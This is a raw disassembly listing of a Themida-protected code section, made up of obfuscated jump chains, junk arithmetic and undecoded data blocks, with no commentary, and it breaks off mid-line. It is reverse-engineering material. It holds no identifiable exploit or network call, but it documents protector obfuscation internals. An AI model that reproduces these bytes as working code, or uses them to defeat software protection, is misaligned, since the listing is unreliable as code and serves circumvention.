6D290AEAh, 52E9586Eh, 55FFFFFBh, 0FF9E40E9h dd 0C38853FFh, 0D988C888h, 17A3E95Bh, 685E0000h, 4DA1h dd 68241489h, 77B7h, 68240489h, 1B63h, 0FF62A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_561B65: ; CODE XREF: Themida_:00556C16j mov edx, ebx pop ebx mov eax, [esp] push 144Ch mov [esp], ebx jmp loc_5635CD ; --------------------------------------------------------------------------- dd 0E80029B5h, 9B75359h, 8063CF80h, 0C78096C7h, 0E9F82835h dd 0FFFFE833h, 7AE933B3h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561B97: ; CODE XREF: Themida_:00562AD6j mov ch, 0C6h add ch, 0DAh jmp loc_5593B0 ; --------------------------------------------------------------------------- byte_561BA1 db 68h, 5Ah, 4 ; DATA XREF: Themida_:00550D00o dd 8F540000h, 5CE92404h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BAF: ; CODE XREF: Themida_:00551555j add al, 0EFh add al, bl push bx jmp loc_565547 ; --------------------------------------------------------------------------- dw 8B59h dd 0C4832434h, 2434FF04h, 15E2E95Dh, 3C890000h, 0E9515224h dd 0FFFF21B3h, 414C4CBEh, 75E95670h, 0B9FFFF76h, 438B50AEh dd 734AB951h, 93E96E12h, 81FFFF45h, 254654C1h, 4FB85072h dd 29172569h, 0FCE958C1h, 66000032h, 2824B252h, 815A66D0h dd 4ECh, 242C8900h, 0D9E9E589h, 81FFFEF3h, 9140AAC6h, 4EC8142h dd 89000000h, 25B9240Ch, 29BF8E82h, 2434FFCEh, 83240C8Bh dd 0C48104C4h, 4, 0FFB080E9h db 0FFh ; --------------------------------------------------------------------------- loc_561C45: ; CODE XREF: Themida_:00552EA5j push 218Dh jmp loc_55FE10 ; --------------------------------------------------------------------------- loc_561C4F: ; CODE XREF: Themida_:00562176j pop edx add ecx, esi pop esi push edi mov edi, 3A0219AAh neg edi push edi not dword ptr [esp] pop edi add edi, 1 jmp loc_561DF5 ; --------------------------------------------------------------------------- loc_561C68: ; CODE XREF: Themida_:00563B97j pop eax xchg ebp, [esp] mov esp, [esp] push esi jmp loc_55ED08 ; --------------------------------------------------------------------------- db 52h, 54h, 5Ah dd 0FF9339E9h db 0FFh ; --------------------------------------------------------------------------- loc_561C7D: ; CODE XREF: Themida_:005534E9j pop edi add edi, 4 push eax jmp loc_55828C ; --------------------------------------------------------------------------- loc_561C8A: ; CODE XREF: Themida_:0055835Cj add ebp, 2FE6E35h shl ebp, 2 and ebp, 24C55F57h jmp loc_564A16 ; --------------------------------------------------------------------------- loc_561C9E: ; CODE XREF: Themida_:00550F85j not edi xchg edi, edx sub edx, 843F2D74h sub eax, edx pop edx pop ebp push edx jmp loc_55C3AB ; --------------------------------------------------------------------------- word_561CB2 dw 28Fh ; DATA XREF: Themida_:00550DCCo dd 0FEF2A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_561CB9: ; CODE XREF: Themida_:005510C1j and edx, 6A411F90h dec edx jmp loc_558F9D ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 49BCBB53h, 0E3C13746h, 0FBBD5504h, 3144D3B5h, 2434FFEBh dd 711E95Dh, 1B35FFFFh, 1277759h, 0B7D3E9C1h, 1268FFFFh dd 89000048h, 74FF243Ch, 0E95F0424h, 0FFFFC01Ch, 8102E6C1h dd 37D63FF6h, 1EAAE946h, 8766FFFFh, 9FE9240Ch, 57FFFF11h dd 0FF6F6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_561D1D: ; CODE XREF: Themida_:0055EC4Aj push esi push esp mov esi, [esp] jmp loc_5548EF ; --------------------------------------------------------------------------- loc_561D27: ; CODE XREF: Themida_:005557CBj sub esi, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push esi push 7350h mov [esp], esp add dword ptr [esp], 4 jmp loc_564F75 ; --------------------------------------------------------------------------- dd 5D04C483h, 5659CE01h, 0FF7EB3E9h, 4C483FFh, 7399C181h dd 0F181498Eh, 1BC5CDD4h, 0A5EB81h, 0CB297FB4h, 0A5C381h dd 50597FB4h, 9D1BE6B8h, 7DEB2562h, 282D01E8h, 81E4D7A4h dd 56197FEBh, 2AEE907h, 0C481FFFFh, 2, 0E94EE780h, 0FFFF0978h dd 875DE901h, 248B240Ch, 0B60F6624h, 10DB6800h, 1C890000h dd 505B5424h, 4B8h, 7BEB8100h, 0E9652D4Ch, 0FFFF55B2h ; --------------------------------------------------------------------------- loc_561DC0: ; CODE XREF: Themida_:005525CCj mov edi, esi pop esi push ebx mov ebx, 1DE95C92h jmp loc_553FA5 ; --------------------------------------------------------------------------- dw 2BAh dd 0E9000000h, 0FFFF8F8Ah, 4BEh, 24740100h, 148B5E04h dd 2A0AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561DEA: ; CODE XREF: Themida_:00564671j mov edi, [esp] push ebx mov ebx, esp jmp loc_55D8D7 ; --------------------------------------------------------------------------- loc_561DF5: ; CODE XREF: Themida_:00561C63j xor edi, 0C286EBEh or ecx, edi mov edi, [esp] add esp, 4 push ebp mov ebp, 3746BAFEh jmp loc_554896 ; --------------------------------------------------------------------------- dw 4CE9h db 0F1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561E13: ; CODE XREF: Themida_:00559169j push dword ptr [esp+4] jmp loc_55142E ; --------------------------------------------------------------------------- dd 5E2414F7h, 0BB53F787h, 575E2BA6h, 0FF9B80E9h, 4C681FFh dd 0E9000000h, 0FFFFD380h, 0B8240489h, 4, 90E9C301h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E47: ; CODE XREF: Themida_:00561156j push ebx mov ebx, 351B2FD9h neg ebx inc ebx or ebx, 36CA787Fh xor ebx, 31230D4Fh and ebx, 62E28ECh xor ebx, 0AE39D2CEh sub edx, ebx pop ebx jmp loc_557212 ; --------------------------------------------------------------------------- loc_561E70: ; CODE XREF: Themida_:0056082Aj push 648Fh jmp loc_551BF0 ; --------------------------------------------------------------------------- loc_561E7A: ; CODE XREF: Themida_:0055D559j mov eax, [edx] push dword ptr [esp] jmp loc_557086 ; --------------------------------------------------------------------------- dd 0CE627AB9h, 59CA013Eh, 0BF57C201h, 3ECE627Ah, 0E95FFA29h dd 0FFFFFC8Fh, 83240C8Bh, 0C48104C4h, 4, 2B87E981h, 5452799Dh dd 8124148Bh, 4C4h, 4EC8100h, 89000000h, 83E9240Ch db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561EC7: ; CODE XREF: Themida_:0055EFC7j pop ebp add eax, ebp sub eax, 4CD62989h pop ebp push edx mov edx, 4 add eax, edx pop edx xor eax, [esp] xor [esp], eax jmp loc_5638E0 ; --------------------------------------------------------------------------- dd 9EBA5253h, 5727C01Dh, 523E1D68h, 0CF815F31h, 74206FE1h dd 8107E7C1h, 25B9B9EFh, 5FFB8985h, 685AD301h, 4057h, 160EE9h dd 5FF80100h, 292DE9h, 4BD00h, 6C010000h, 84E90424h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F27: ; CODE XREF: Themida_:00563EC8j sub esi, 695166C6h add esi, 0BF4A4C7Ah add ebp, esi mov esi, [esp] push esi mov esi, esp jmp loc_552326 ; --------------------------------------------------------------------------- loc_561F40: ; CODE XREF: Themida_:0055A6AEj mov eax, 40FB14F0h sub eax, 40FB14ECh jmp loc_558A91 ; --------------------------------------------------------------------------- db 55h dd 2D2386BDh, 5DE9290Ah, 13E98149h, 0E94CB002h, 0FFFF02C9h dd 0B1B7F8B4h, 0C058E700h, 0C7FE03EFh, 0F6C4F780h, 7FF780DFh dd 0FFEDF9E9h, 4BD55FFh, 1000000h, 34875DEEh, 0D01DE924h dd 0E95EFFFFh, 0FFFF4CCAh ; --------------------------------------------------------------------------- loc_561F94: ; CODE XREF: Themida_:0055BFFBj mov eax, [esp] push ecx push esp pop ecx add ecx, 4 jmp loc_56365D ; --------------------------------------------------------------------------- loc_561FA5: ; CODE XREF: Themida_:005534F3j mov [esp], eax mov eax, 3A6B3E79h shr eax, 4 jmp loc_563D70 ; --------------------------------------------------------------------------- db 0C0h, 0EFh, 5 dd 0EF80D7F6h, 2E76E931h, 68480000h, 1821h, 55243489h dd 0FF3ABCE9h, 3A685BFFh, 0E9000020h, 0FFFFE34Ch ; --------------------------------------------------------------------------- loc_561FDC: ; CODE XREF: Themida_:0055C9B9j pop edx push 3624h mov [esp], edx sub esp, 4 mov [esp], esi mov esi, offset byte_4F20F7 jmp loc_5592A8 ; --------------------------------------------------------------------------- dd 88241489h, 0ECCE9CAh, 0C6810000h, 604A192Eh, 0E9F5015Fh dd 0FFFF965Eh ; --------------------------------------------------------------------------- loc_562010: ; CODE XREF: Themida_:00553A69j sub esi, ebx pop ebx xor edx, esi mov esi, [esp] push edi mov edi, esp jmp loc_562EB7 ; --------------------------------------------------------------------------- dd 0F1685055h, 0E93E933Bh, 0FFFFD626h dword_56202C dd 24048B66h, 5E08950h, 4, 5004E883h, 42474FFh, 7F65E958h ; DATA XREF: Themida_:00550C84o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562046: ; CODE XREF: Themida_:0055C9CFj and eax, edx mov edx, [esp] add esp, 4 jmp loc_55254D ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1810000h, 4, 5C240C87h, 5104E983h, 42474FFh dd 24048F59h, 2C5DE95Ch, 34FF0000h, 0C4815F24h, 4, 0FFFFC681h dd 0FF56FFFFh, 505E240Ch, 0B1638CB8h, 8FA10516h, 0C60158E7h dd 5E5D5658h, 9DA85D68h, 2434FF0Ch, 0E089505Bh, 405h, 747E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5620B6: ; CODE XREF: Themida_:00558DFAj push 6A24h mov [esp], esi mov esi, 4E1392BEh add eax, 3A7A4D4Eh add eax, esi sub esp, 4 mov [esp], ebp mov ebp, 45096184h push ebx mov ebx, 0A8F1436h sub ebp, ebx jmp loc_5597EF ; --------------------------------------------------------------------------- loc_5620E2: ; CODE XREF: Themida_:0055A834j add esi, eax add esi, 27AD1125h push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax mov eax, esp push esi mov esi, 7CEF4490h xor esi, 48BB3CF5h or esi, 631D7F81h jmp loc_55A25D ; --------------------------------------------------------------------------- db 1, 0DFh, 81h dd 290629EFh, 0F3C7815Ch, 8B48280Fh, 33E9241Ch, 68FFFFBEh dd 5488h, 0FF8D6BE9h, 0CCE959FFh db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562133: ; CODE XREF: Themida_:00555BE4j mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 jmp loc_5544DB ; --------------------------------------------------------------------------- loc_562153: ; CODE XREF: Themida_:0055D87Ej mov esp, [esp] sub esp, 4 jmp loc_55E22B ; --------------------------------------------------------------------------- byte_562161 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:00550CACo dd 0FF70A4E9h, 0A9C681FFh, 0E90A0965h, 0FFFFFF06h ; --------------------------------------------------------------------------- loc_562174: ; CODE XREF: Themida_:00552AF3j xor esi, edx jmp loc_561C4F ; --------------------------------------------------------------------------- loc_56217B: ; CODE XREF: Themida_:00551C08j pop edi add edi, 15171A04h pop eax jmp loc_55F725 ; --------------------------------------------------------------------------- dd 5866C300h, 0C0B60F58h, 0FF7069E9h, 0AEC381FFh, 0E9073151h dd 0FFFFC9BCh, 6911C281h, 9FE97CFCh, 66FFFF80h, 8124048Bh dd 2C4h, 80CEFE00h, 0B55154E6h, 982E989h, 2C8BFFFFh, 4C48324h dd 28CDE9h, 5E2C000h, 8835C280h, 0C3805AD5h, 4EC8398h dd 0B0240489h, 7E8C0CCh, 0FF5669E9h, 7D3205FFh, 862D58E0h dd 5041539h, 24B03EA3h, 2F063D2Dh, 0F8E95A1Eh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562203: ; CODE XREF: Themida_:0055CCB8j pop ebp push dword ptr [eax] push dword ptr [esp] pop ecx push esi push esp mov esi, [esp] add esp, 4 jmp loc_55A31B ; --------------------------------------------------------------------------- dw 1BDh dd 29000000h, 0BB535DEFh, 535F7516h, 68h, 241C2900h, 2EBC15Bh dd 6EBC14Bh, 216AE9h, 82C58100h, 0C142447Bh, 0B3E905EDh dd 68FFFF42h, 4B5322EDh, 7EE815Eh, 0E9D00BFEh, 0FFFFB090h dd 68h, 0CB015B00h, 0FF5B0303h, 34FF2434h, 0A1E95924h dd 81000010h, 4C2h, 4EA8100h, 0E9000000h, 2C07h, 5E37CE81h dd 0F681372Fh, 307816FDh, 0FFF680E9h db 0FFh ; --------------------------------------------------------------------------- loc_562295: ; CODE XREF: Themida_:00558C34j jz loc_5627C1 push dword ptr [edi+28h] jmp loc_551E14 ; --------------------------------------------------------------------------- db 5Ah dd 34FFC831h, 2434FF24h, 0FFEA3AE9h, 2474FFFFh, 48F5E04h dd 24248B24h, 5FA468h, 240C8900h, 0FF787DE9h db 0FFh byte_5622C9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550EECo dd 3A26E924h, 0E955FFFFh, 0FFFF95F4h ; --------------------------------------------------------------------------- loc_5622D8: ; CODE XREF: Themida_:005590BEj mov edi, 4 sub eax, edi pop edi xchg eax, [esp] jmp loc_553AF7 ; --------------------------------------------------------------------------- dd 0E168C300h, 8900004Bh, 47E92404h, 89000034h, 34FF2404h dd 2434FF24h, 0EC81515Bh, 4, 1E5AE9h, 76EF8100h, 29B71FFAh dd 0C3815FFBh, 652D4C7Bh, 64D86858h, 34890000h, 2BE24h dd 9FE90000h db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56232F: ; CODE XREF: Themida_:00563EBCj shl eax, 2 sub eax, 8671D3BAh push eax sub dword ptr [esp], 2064432Ch pop ecx add ecx, 2064432Ch pop eax jmp loc_55DBE2 ; --------------------------------------------------------------------------- loc_56234C: ; CODE XREF: Themida_:00562FDBj mov edx, 38641D54h jmp loc_55DDF8 ; --------------------------------------------------------------------------- word_562356 dw 77FFh ; DATA XREF: Themida_:00550CD8o dd 59669D1Ch, 9C2414D3h, 0FEEBFAE9h, 31E958FFh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56236B: ; CODE XREF: Themida_:0055C6D9j mov eax, ebp pop ebp sub ebp, 3C7A5DECh jmp loc_55354B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89241C89h, 0B95157E3h, 4, 159CF89h, 0E3D4E9FBh, 8158FFFFh dd 4C7h, 243C8700h, 0E924248Bh, 0FFFEEBBBh, 0E92434FFh dd 82Bh, 0DE0DEB2Dh, 0DBF7932Dh db 93h, 0F7h, 0D0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56512F ; --------------------------------------------------------------------------- loc_5623BF: ; CODE XREF: Themida_:0055B272j mov [esp], eax jmp loc_55A335 ; --------------------------------------------------------------------------- loc_5623C7: ; CODE XREF: Themida_:00560281j pop eax add edx, 0FFFFFFFFh and edx, 628E24F6h xor edx, 820014h mov ecx, edx pop edx sub ebx, 76F362A3h add ebx, ecx add ebx, 76F362A3h pop ecx jmp loc_558A5D ; --------------------------------------------------------------------------- db 5Ch, 68h, 1 dd 0E900005Ch, 0FFFF335Ch ; --------------------------------------------------------------------------- loc_5623FC: ; CODE XREF: Themida_:00557036j add ebp, ebx jmp loc_5576EF ; --------------------------------------------------------------------------- db 2Dh dd 457B466Eh, 0FEF5E8E9h, 4C483FFh, 63A7BB53h, 814B60C5h dd 0CE35F7EBh, 8BDE2920h, 0C483241Ch, 0FAEA8104h, 81221061h dd 0FC6911EAh, 0E9F2297Ch, 0FFFFFD68h, 42BD5547h, 914074Dh dd 0EFC15DEFh, 0D4F78102h, 14891A5h, 0ED815FFDh, 95400ABAh dd 277C781h, 0C7813D62h, 67085259h, 0EF81EF01h, 67085259h dd 0FFD0DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_56246D: ; CODE XREF: Themida_:0055727Aj pop edi push 53DCh mov [esp], esi mov esi, ecx push esi push ebp mov ebp, 10B040AEh jmp loc_55CC05 ; --------------------------------------------------------------------------- dd 4B850h, 0C1010000h, 0EA78E958h, 1C29FFFFh, 24048124h dd 6C83C25h, 33E1E9h, 0C34BB00h, 0D9890281h, 9ABA525Bh dd 0F770CE21h, 61BF57DAh, 29245164h, 0EA815FFAh, 6FE0001h dd 0FFDCAEE9h, 4C483FFh, 205h, 8386800h, 4890000h, 2474FF24h dd 24048B04h, 4C481h, 48F0000h, 26E95C24h, 8900000Dh, 243C8BF8h dd 4C481h, 0C7010000h, 2B85058h, 81000000h, 0CD6F8DEFh dd 81C70170h, 0CD6F8DC7h, 3C335870h, 243C3124h, 8B243C33h dd 0E9F62424h, 0FF6C9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_562521: ; CODE XREF: Themida_:0055662Ej add edi, ecx pop ecx jmp loc_55A27B ; --------------------------------------------------------------------------- db 58h, 0E9h, 3Dh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56252F: ; CODE XREF: Themida_:00563D44j shr edx, 7 jmp loc_561753 ; --------------------------------------------------------------------------- loc_562537: ; CODE XREF: Themida_:0055FF4Dj mov [esp], edx mov edx, 0D11FFFFBh xor ebx, edx pop edx add ecx, 26BE42B1h add ecx, ebx push esi mov esi, 12852830h neg esi add esi, 392A0324h dec esi and esi, 26A539EFh add esi, 1A29CEh sub ecx, esi mov esi, [esp] add esp, 4 push dword ptr [esp] jmp loc_558921 ; --------------------------------------------------------------------------- dd 0C281FA01h, 7B910A13h, 7EA9C281h, 5E5F2990h, 5AC2814Ah dd 4270026Eh, 0FEFBC8E9h, 87CF81FFh, 8327B843h, 0ECE9FFC7h db 0EDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5625A3: ; CODE XREF: Themida_:00553C08j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_550F5F ; --------------------------------------------------------------------------- loc_5625B9: ; CODE XREF: Themida_:0055799Cj pop ebp jmp loc_5656E1 ; --------------------------------------------------------------------------- db 66h dd 68241C89h, 7D4Dh, 0E9240C89h, 0FFFFB6D7h, 0F9242C81h dd 5E5E2C52h, 52F9C681h, 14E95E2Ch db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625E3: ; CODE XREF: Themida_:0055B919j push 3FA5h mov [esp], edx mov edx, 4A303F03h push ecx mov ecx, 12030AF0h dec ecx or ecx, 281E3FC0h sub ecx, 434203F9h and ecx, 4D2742C6h dec ecx sub ecx, 755429E6h sub edx, ecx pop ecx sub esi, edx jmp loc_5628EE ; --------------------------------------------------------------------------- dw 5655h dd 545E6668h, 0CE315E43h, 0FF1D86E9h, 0A36866FFh, 0C89663Dh dd 2D0E924h, 0C8BFFFFh, 4C48324h, 0FF23D3E9h, 1BBF57FFh dd 2962897Ch, 0C6295FF8h, 5EF52958h, 5C242C87h, 0FF9A3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562659: ; CODE XREF: Themida_:0055A300j sub ecx, 38DA0E07h pop ebp push 3F5Dh mov [esp], ecx push ebx mov ebx, 6EF2000Dh add [esp+4], ebx pop ebx pop ebp jmp loc_565848 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Ah, 81000000h, 0B145CC2h, 243C8B39h, 4C481h, 74E90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562697: ; CODE XREF: Themida_:00561539j shr ecx, 5 and ecx, 12334026h xor ecx, 11A820EEh xor esi, ecx pop ecx xor esi, 4AA85681h jmp loc_563E31 ; --------------------------------------------------------------------------- dd 0FF24248Bh, 34FF2434h, 240C8B24h, 4C481h, 94680000h dd 89000075h, 0D8E9243Ch, 52FFFF93h, 6704E8BAh, 5AD30124h dd 0EB81EB01h, 246704E8h, 7612E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626EA: ; CODE XREF: Themida_:005525E5j not dword ptr [esp] pop ecx sub ecx, 28BA6831h push 3CDBh mov [esp], esi mov esi, 66BEB0D4h sub ecx, 41AC7F74h sub ecx, esi push eax jmp loc_561038 ; --------------------------------------------------------------------------- db 8Bh dd 14872424h, 89575C24h, 0C61CE9E7h, 0E281FFFFh, 23D2E33h dd 5FB6F281h, 0D3017C3Eh, 8952575Ah, 0E28952C2h, 52D6BF57h dd 0E9505935h, 0FFFF536Dh ; --------------------------------------------------------------------------- loc_562740: ; CODE XREF: Themida_:0055ADACj mov esp, [esp] jmp loc_55A375 ; --------------------------------------------------------------------------- dd 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 17C65BA8h jmp loc_554263 ; --------------------------------------------------------------------------- dd 5C241487h, 2B951h, 0C6810000h, 11047F23h, 0FEED60E9h db 0FFh ; --------------------------------------------------------------------------- loc_562771: ; CODE XREF: Themida_:00563BEDj push ebp push eax mov eax, 25866B87h jmp loc_55391C ; --------------------------------------------------------------------------- loc_56277D: ; CODE XREF: Themida_:005585F4j add dword ptr [edx+38h], 33FC167Ah push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_553209 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FBE9E189h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56279F: ; CODE XREF: Themida_:0055A006j and edx, 8819B1h push ebx mov ebx, 0FFF7EFD3h add edx, 70B05861h add edx, ebx sub edx, 70B05861h pop ebx add edi, edx pop edx xchg edi, [esp] pop esp loc_5627C1: ; CODE XREF: Themida_:0055EA1Fj ; Themida_:loc_562295j push 6601h mov [esp], ebx jmp loc_5573A6 ; --------------------------------------------------------------------------- loc_5627CE: ; CODE XREF: Themida_:0055AFE7j xchg edi, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add ebx, eax push 7C03h mov [esp], ebp push 2E6345Bh pop ebp shr ebp, 8 jmp loc_553B0B ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 0FEF220E9h db 0FFh ; --------------------------------------------------------------------------- loc_562821: ; CODE XREF: Themida_:0055B379j mov ecx, ebx pop ebx jmp loc_55B7A8 ; --------------------------------------------------------------------------- loc_562829: ; CODE XREF: Themida_:00563422j add edi, 4 add edi, 4 jmp loc_5629E9 ; --------------------------------------------------------------------------- byte_562837 db 0ADh ; DATA XREF: Themida_:00550E80o dd 3FE9D831h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56283F: ; CODE XREF: Themida_:0055D624j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 1A42h mov [esp], ebp mov ebp, 1 and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp push ebp jmp loc_55778E ; --------------------------------------------------------------------------- dw 0E589h dd 0FF5F78E9h db 0FFh ; --------------------------------------------------------------------------- loc_562879: ; CODE XREF: Themida_:005541CCj mov eax, 240B4506h xor [esp+4], eax jmp loc_55843C ; --------------------------------------------------------------------------- db 1 dd 24348BF0h, 4C481h, 0C0830000h, 24048704h, 8124248Bh dd 4C7h, 2C78100h, 33000000h, 3C31243Ch, 5D5DE924h, 0E589FFFFh dd 4C581h, 0C5830000h, 242C8704h, 0D78E9h, 0E4B86600h dd 0C5316633h, 24048B66h, 0FF9D54E9h, 240489FFh, 61D6BE56h dd 0EC8306C6h, 2058E904h, 48FFFFFh, 0FF90E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5628EE: ; CODE XREF: Themida_:00562615j pop edx and edi, esi mov esi, [esp] add esp, 4 add edi, 0EF7BEFC2h add ebp, edi push dword ptr [esp] jmp loc_554E05 ; --------------------------------------------------------------------------- dw 0CC80h dd 7EC802Ah, 0E9F6C480h, 1751h, 0A201E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56291E: ; CODE XREF: Themida_:00560D47j pop edx add edx, 6877215h jmp loc_559634 ; --------------------------------------------------------------------------- loc_56292A: ; CODE XREF: Themida_:00557CA4j mov esi, 0ECE25BEh mov ecx, esi mov esi, [esp] add esp, 4 not ecx shl ecx, 7 jmp loc_563C10 ; --------------------------------------------------------------------------- db 57h, 0BFh, 61h dd 6833A96Dh, 46C22A6Ch, 0FF168BE9h, 0AEBF57FFh, 810EE21Bh dd 5003BDF7h, 0FE7817Fh, 0E96B3F02h, 199Ah, 64F1EE81h dd 0C8B6D53h, 0E45DE924h, 555BFFFFh, 12E9B951h, 0E98152BAh dd 2E050907h, 9E6F181h, 0CD8924B5h, 0F871E959h, 0B951FFFEh dd 670C3800h, 8108E9C1h, 293026E9h, 0C1814159h, 58C223F1h dd 1B72C781h, 0CF01757Fh, 1B72EF81h, 0CDE9757Fh db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5629BB: ; CODE XREF: Themida_:00552655j add edi, ebp jmp loc_55FCD7 ; --------------------------------------------------------------------------- loc_5629C2: ; CODE XREF: Themida_:00556E0Fj mov esp, [esp] jmp loc_555815 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 3099B951h, 0F1812A13h, 0A37463Eh, 79D6E181h, 0D1F70104h dd 0FFC332E9h db 0FFh ; --------------------------------------------------------------------------- loc_5629E9: ; CODE XREF: Themida_:00562832j xchg edi, [esp] pop esp not edx sub esp, 4 jmp loc_55412D ; --------------------------------------------------------------------------- loc_5629F7: ; CODE XREF: Themida_:005550DAj push dword ptr [esp] jmp loc_555E63 ; --------------------------------------------------------------------------- db 87h dd 895C242Ch, 4B82404h, 81000000h, 4A032EE9h, 81C1015Ah dd 4A032EC1h, 4552E95Ah, 0EA01FFFFh, 4EA835Dh, 516468h dd 24148900h, 0C281E289h, 4, 4EA81h, 0FF520000h, 0E9042474h dd 4B9h ; --------------------------------------------------------------------------- loc_562A44: ; CODE XREF: Themida_:00564D2Aj push ecx push 1C462BBDh mov ecx, [esp] add esp, 4 jmp loc_558E42 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0C9h dd 0E95D3C55h, 0FFFEECDAh, 0B0E95352h, 0C0FFFF51h, 0E28004E2h dd 6E2C0F3h, 0E9B4EA80h, 0FFFEEAE2h, 8B243C87h, 0C7E92424h dd 83FFFFD0h, 0BA5204C4h, 2579647Fh, 8106E2C1h, 0C94AF1F2h dd 81DAF768h, 0C7CC60F2h, 5AD001ADh, 0E281605h, 2DF02969h dd 690E2816h, 0AFBB5351h, 8964A866h, 9C2FE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562ABA: ; CODE XREF: Themida_:0056081Dj sub ecx, ebp jmp loc_55403B ; --------------------------------------------------------------------------- db 66h, 68h, 0BBh dd 0C896654h, 0E491E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562ACE: ; CODE XREF: Themida_:0055ADDDj add bl, 95h not bl push dx push ecx jmp loc_561B97 ; --------------------------------------------------------------------------- db 8Bh dd 0D6E92434h, 1000019h, 0C68359CEh, 24343304h, 33243431h dd 248B2434h, 2434FF24h, 18306858h, 0C890000h, 57E18924h dd 7A664268h, 0A8E95F52h db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B0F: ; CODE XREF: Themida_:00564CD2j push 1A4A06F4h jmp loc_5640D5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFF45B0h ; --------------------------------------------------------------------------- loc_562B24: ; CODE XREF: Themida_:0055124Dj add edx, 0D25DEF4Bh mov edi, edx pop edx add eax, edi mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55B730 ; --------------------------------------------------------------------------- loc_562B44: ; CODE XREF: Themida_:00564DBCj mov [esp], esi mov esi, 7BFC2BFFh shl esi, 8 and esi, 55550AD5h and esi, 31C31193h shl esi, 1 xor esi, 294866D1h jmp loc_55346C ; --------------------------------------------------------------------------- loc_562B68: ; CODE XREF: Themida_:0055A45Bj pop edx pop ebx add ecx, 18FE78DBh jmp loc_55A03A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 31000000h, 56565FF8h, 0C6815E54h, 4, 4EE81h, 34870000h dd 0C895C24h, 52505224h, 44452FBAh, 0CBBA527Ch, 0E934D76Eh dd 0FFFFD4EDh, 7E18A5BBh, 0F4EB8124h, 4B475A05h, 77F38143h dd 299D304Ch, 0BF2E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BC2: ; CODE XREF: Themida_:0055E7C7j sub esp, 4 jmp loc_5569A5 ; --------------------------------------------------------------------------- db 80h, 0ECh, 6Fh dd 3DE9E730h, 5A00001Ch, 4C481h, 0DC200000h, 7BF4805Bh dd 0E96AF480h, 193Fh ; --------------------------------------------------------------------------- loc_562BEC: ; CODE XREF: Themida_:005573ACj pop edi push eax mov eax, 262D13F9h not eax push esi push ebp push eax push 4BA56C17h jmp loc_55DA2B ; --------------------------------------------------------------------------- dw 74FFh dd 6EE90424h, 81FFFEEDh, 0FF4EB0E9h, 0C7E98138h, 557CBE28h dd 0E91013BDh, 5DE90968h, 0FF397EE9h, 0FDE981FFh, 29114A59h dd 0FDC181F1h, 50114A59h, 21216AB8h, 0AD52E903h, 0C581FFFFh dd 34733D4h, 32E8C381h, 9FE95956h, 0E9FFFF9Dh, 0FFFEE30Bh dd 4C381h, 0C3830000h, 103DE904h, 5F540000h, 4C781h, 0C7810000h dd 4, 0E9243C87h, 0FFFFDB15h ; --------------------------------------------------------------------------- loc_562C78: ; CODE XREF: 